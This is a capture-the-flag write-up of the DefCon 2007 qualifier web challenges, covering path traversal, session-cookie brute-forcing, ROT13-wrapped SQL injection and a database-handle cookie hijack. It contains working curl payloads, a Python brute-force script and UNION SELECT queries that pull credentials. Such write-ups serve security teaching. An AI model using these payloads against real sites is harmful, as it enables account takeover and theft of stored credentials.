Web Hacking Walkthrough (DefCon CTF 2007 Qualifier)
The Web Hacking category was lots of fun. There were a few gotcha's, and the last one was very interesting. A great exercise in thinking about all the weird ways a site might be coded. At the end of each section there is a link to a tarball of the server's source, which Kenshoto sent us copies of.
100: Read the source
The first impulse for any web vulnerability analysis should be to start by reading the source of the page. While not immediately obvious, it turns out that the three headings at the top of the page were made clickable via javascript "onClick" handlers. (Understanding how the "go" function works is fun, but not needed to solve this challenge.) After looking at each page's source, there was an extra chunk in the "Contact Us" page:
<!-- <?php if ($is_admin) { include ('admin_panel.html'); } ?>  OBSOLTED - focus/5/22/2007-->
By adding "admin_panel.html" to the URL, you were presented with a list of orders. Well, really just 1 order:
                         Welcome Admin !
                        Todays orders are
Who Ordered                  Product                      Credit Card Number
Grant Chambers                Focus                     asdfjsdf098sdfn23408n
After quals, Kenshoto gave us the source code to Web 100.
200: Path traversal
Once again, we start by looking at the source for this "image library". We see that the images are created by URLs like:
http://quals07.allyourboxarebelongto.us:8091/domopers/images/?img=domo0&copywrite=2005
Which produce the various copyright-stamped Domokun images:
Changing the "2005" argument results in text on an image indicating that the file was not found (in this case, we attempted to see if there was a simple SQL injection by adding a single quote to the argument):
Based on this filesystem error, it looks like a chance for file inclusion via a path traversal! We hoped they weren't going to be filtering "..". Using a value of "../index.py" (since it's one file we know the path of in this particular challenge), the answer was immediately displayed in the image:
Additionally, this path traversal works out in the rest of the filesystem too. Using this trick, it was possible to identify specifically which OS and version was installed on the server (assuming they weren't trying to trick us). By finding the largest available image, and appending a giant string of "../../..", we could see the first few lines of any world readable file on the system. For example, /etc/motd:
After quals, Kenshoto gave us the source code to Web 200.
300: Session hijacking
Nothing was obvious in any of the source to this website, and adding quotes to the user/pass fields did not obviously produce any SQL errors. The next step in poking at a login form is to see if there is a guest account. By using the username "guest" with password "guest", the page reloaded and greeted you with "Welcome Guest".
Those that were running an inline web proxy, sniffer, or using an extension like TamperData should have noticed that they have a cookie named "sessionid" set for the site now. Examination of the cookie shows it to likely be an MD5. (Checking for this MD5 on MD5-cracking sites revealed nothing.) By backing up and taking a close look at the HTML produced in the reply to the login POST, you'd observe that the cookie was being set via a large chunk of JavsScript (which was originally all on one line -- we cleaned it up for "readability").
Looking at the value passed to "moo", it looks like a time-stamp, and it's used to generate the session id. But wait! Don't we know when the Sysop logged in? Yes, we do! From the text of the page:
Sysop Logged in since 05/08/2007 @ 20:35
If we can reproduce the Sysop's sessionid cookie, we'll probably be able to hijack their authentication and see the site through their account.
Additionally, if you experiment in your browser (saving the JavaScript chunk into a stand-alone file and using the Firebug extension or Jesse Ruderman's jshell makes this really easy), you can observe that moo is just an MD5 implementation:
moo('1180794664.65')
4ba5e489aac1f4facf057bc37e9304ae
$ echo -n '1180794664.65' | md5sum
4ba5e489aac1f4facf057bc37e9304ae  - 
(Don't forget the -n on the echo -- otherwise you'll include a newline and get a wrong hash)
So now we just need to match up our sessionid with that of the Sysop to hijack their login. If you perform multiple login POST requests, you'd observe that they were all epochs with the addition of a centisecond after the decimal, with any trailing zeros chopped (10 centiseconds == 0.1, not 0.10). However, then you'd be better off immediately ignoring that observation. Accidentally, the value used to solve the challenge is in whole seconds. Kenshoto admits this was a bug but let it stand so no one had an advantage. (Though I think they should have allowed two values, one with and one without the fractional part.) It's been speculated that this sort of change could have legitimately happened in the real world too: whoever maintained the application since the Sysop logged in could have changed the sessionid to use this higher resolution epoch, or switched to a salted hash, making the guessing much more difficult. Unfortunately, this inconsistency really slowed down all the teams early in the competition, and eventually caused huge brute-forcing efforts against the Kenshoto servers to try and guess the sessionid down to the centisecond.
But back to the fun. So we know the day, hour, and minute when the admin logged in, but not the exact second. First things first, we need to find the epoch. We started by guessing the time-zone information. Since all other timestamps for the CTF were US/Eastern (EST5EDT), it made sense to try UTC-0400 based on the day the admin logged in. That, in epoch, is 1178670900:
$ date -d '2007-05-08 20:35:00 -0400' +%s
1178670900
A quick brute force of all 60 possible seconds was all that was needed:
#!/usr/bin/env python
import md5, os, time
epoch = 1178670900
for sec in range(0, 60):
    when = epoch + sec
    hash = md5.md5('%s'%when).hexdigest()
    keeper = "ZOMG"
    for line in os.popen('curl -s -b sessionid=%s --data "" http://quals07.allyourboxarebelongto.us:8092/wootwootwoot/' % hash).readlines():
        if "Welcome" in line:
            keeper=line
        print '%s - %s - %s - %s' % (time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(when)), when, hash, keeper)
            sys.stdout.flush()
Out popped f0e257dc3c3d8750afd37aa1e34cf6c0, the hash for 1178670922, or 2007-05-08 20:35:22.
By setting our cookie and logging in, we are greeted with:
       Admin Panel
Key: somanymidgestsolittletime
After quals, Kenshoto gave us the source code to Web 300.
400: Blind SQL injection
As usual, more midgets are lose in Kenshoto land. First task for Web 400 is to play with and look at all the user-input and notice what's new from previous challenges. Using a proxy or browser extension to trap outgoing requests, you'll notice that navigation around the page seems to be using a function go("Jump","Something"). The "Something" should look interesting, you'll notice the go function calls that variable a hash, and you should be able to pair up the following hashes with jump locations:
LocationHash
FocusSbphf
InterbobVagreobo
VerbalIreony
It should be fairly obvious that this isn't exactly a "real" hash as the output is the same length, all alphanumeric, and even matches the same case as the input! Sure does look like ROT13. Let's see if we can do some SQL injection if we match up a ROT13 "hash" for our query.
curl -s --d midgetName="Verbal' or 1==1--" d hash="Ireony' be 1==1--" -d location=Jump \
http://quals07.allyourboxarebelongto.us:8093/onelastmidget/|lynx -stdin -dump
This gives us:
Midget Name   Midget Desc
Focus         This kid is alot of fun, but requires a ride because his tires suck
Interbob      Flys a thorax in .1 , but he seems to have a serious issue with ratts in 0.0
Verbal        Enjoys a nice quiet date at fuddruckers where he will dine on.... .. .. chicken?
Ahh, the classic OR 1==1. Looks like we've got SQL injection! Let's see if we can just randomly guess a username and password.
INJECT="' UNION SELECT username,password FROM User--"; ROT=$(echo "$INJECT" | \
tr a-zA-Z n-za-mN-ZA-M); curl -s -d midgetName="$INJECT" -d location=Jump -d hash="$ROT" \
'http://quals07.allyourboxarebelongto.us:8093/onelastmidget/'|lynx -stdin -dump
Gives us:
                OH SHIT SQLITE ERROR : no such table: User
  select midgetName , midgetDesc from midgets where midgetName = '' UNION
                   SELECT username,password FROM User--'
Hmm, no joy. Well, at least we now know it's SQLite. Let's find some SQLite docs and figure out how to get a dump of a list of all the tables in the database. Note that since the original SQL query reports two columns ("Midget Name" and "Midget Desc") we'll need to produce the same number of columns when we perform a "UNION SELECT" injection.
INJECT="' UNION SELECT name,name FROM sqlite_master WHERE type='table'--"; ROT=$(echo "$INJECT" | \
tr a-zA-Z n-za-mN-ZA-M); curl -si -d midgetName="$INJECT" -d location=Jump -d hash="$ROT" \
'http://quals07.allyourboxarebelongto.us:8093/onelastmidget/'|lynx -stdin -dump
Gives us:
Midget Name Midget Desc
midgetUser  midgetUser
midgets     midgets
From the earlier error message, we know the "midgets" table isn't what we want, so let's guess at the table fields.
INJECT="' UNION SELECT username,password FROM midgetUser--"; ROT=$(echo "$INJECT" | \
tr a-zA-Z n-za-mN-ZA-M); curl -si -d midgetName="$INJECT" -d location=Jump -d hash="$ROT" \
'http://quals07.allyourboxarebelongto.us:8093/onelastmidget/'|lynx -stdin -dump
Gives us:
Midget Name  Midget Desc
m1dgetl0ver  w00tisteHpass
Which leads to our money shot:
curl -s -d username="m1dgetl0ver" -d password="w00tisteHpass" -d location="Login" \
http://quals07.allyourboxarebelongto.us:8093/onelastmidget/|lynx -stdin -dump
And the key:
Hey Lookie there your not so bad at this. dis ur key : FalcorHasBigEars
This felt a whole lot like real-world SQL injections, and it really felt great to build up the attack on it.
After quals, Kenshoto gave us the source code to Web 400.
500: MySQL pwnage
Like many of these challenges, there's a couple of tricks to put together to solve Web 500. The first was observing and understanding the cookies:
sessid: A truly random session id (if you bother to do entropy analysis on the base64 decoded values)
color: green/black
forbid: U0VMRUNUIElOU0VSVCBVUERBVEUgRFJPUA== (Base 64 encoded text string "SELECT INSERT UPDATE DROP")
dbh: 2130706433
The only cookie that has any serious impact on the behavior of the site is dbh. When changed to other values (like "4"), the website hangs while trying to display the book list. Isn't "dbh" commonly used as a variable name for "database handle"?
Either by recognizing it or googling for it, you will eventually realize that 2130706433 is actually the integer encoding of the IP address 127.0.0.1. Surely no one would use a cookie to store the IP address for their database connections, would they?! Only in a CTF, we hope. ;-)
At this point, encode the IP of any internet-facing server and set the cookie. Sniff on that server while making a web request and you'll see port 3306 connections coming in. Looks like MySQL. Once you setup your MySQL server, enable logging, or sniff the traffic and you'll observe the user "klib" trying to login to the database "klib" with a post-MySQL-4.1 "long password".
Since we don't know the "klib" password, we can't easily let the user log into our MySQL server. There's a couple of ways you could get around this. The first, and more time-consuming, way is to recompile MySQL to automatically allow all connections regardless of the password. The second is much simpler: just restart MySQL with the --skip-grant-tables command-line option. And make sure to email us the address of your server that you do this on, k, thks.
Add the "log" setting in your my.cnf file to see the queries being attempted and watch your mysql logs while trying to login (with the dbh of your server) to see:
Query       SELECT id,is_admin FROM Users where name = 'myUser' and passwd = password( 'myPass' )
The final trick to solving this challenge is to realize you should redirect just the authentication query and pass the rest of the queries back to the original "localhost" DB server. The theory being that the first DB query will fill your session data with the "is_admin" results, marking you as an admin for any future DB queries.
So let's help klib out and make some appropriate tables and data matching the login query we saw before:
CREATE TABLE Users (id INT AUTO_INCREMENT UNIQUE KEY,
                    is_admin INT(1),
                    name VARCHAR(255),
                    passwd VARCHAR(255));
INSERT INTO Users (id, is_admin, name, passwd) VALUES
                  (1, 1, "Kenshoto", password("Kenshoto"));
Now login again, setting the dbh during login to your server and with username/password Kenshoto/Kenshoto. Leave the dbh unchanged for the book queries and we'll have admin access. Voila -- pwnage ensues:
Spoloiting For Dummies          12-3344556-7890   kenshoto       300.00
VFTable Overwrites and You      12-3344556-7891   kenshoto       120.00
Selling Out For Fun And Profit  11-3344386-7891   Mitnick  838283023.00
Whining, Pissing, and Moaning   11-33433386-1834  cowan            3.00
Breaking RSA Keys In Your Head  99-33414386-1834  swordfish       23.00
After quals, Kenshoto gave us the source code to Web 500.

ctf 2007 quals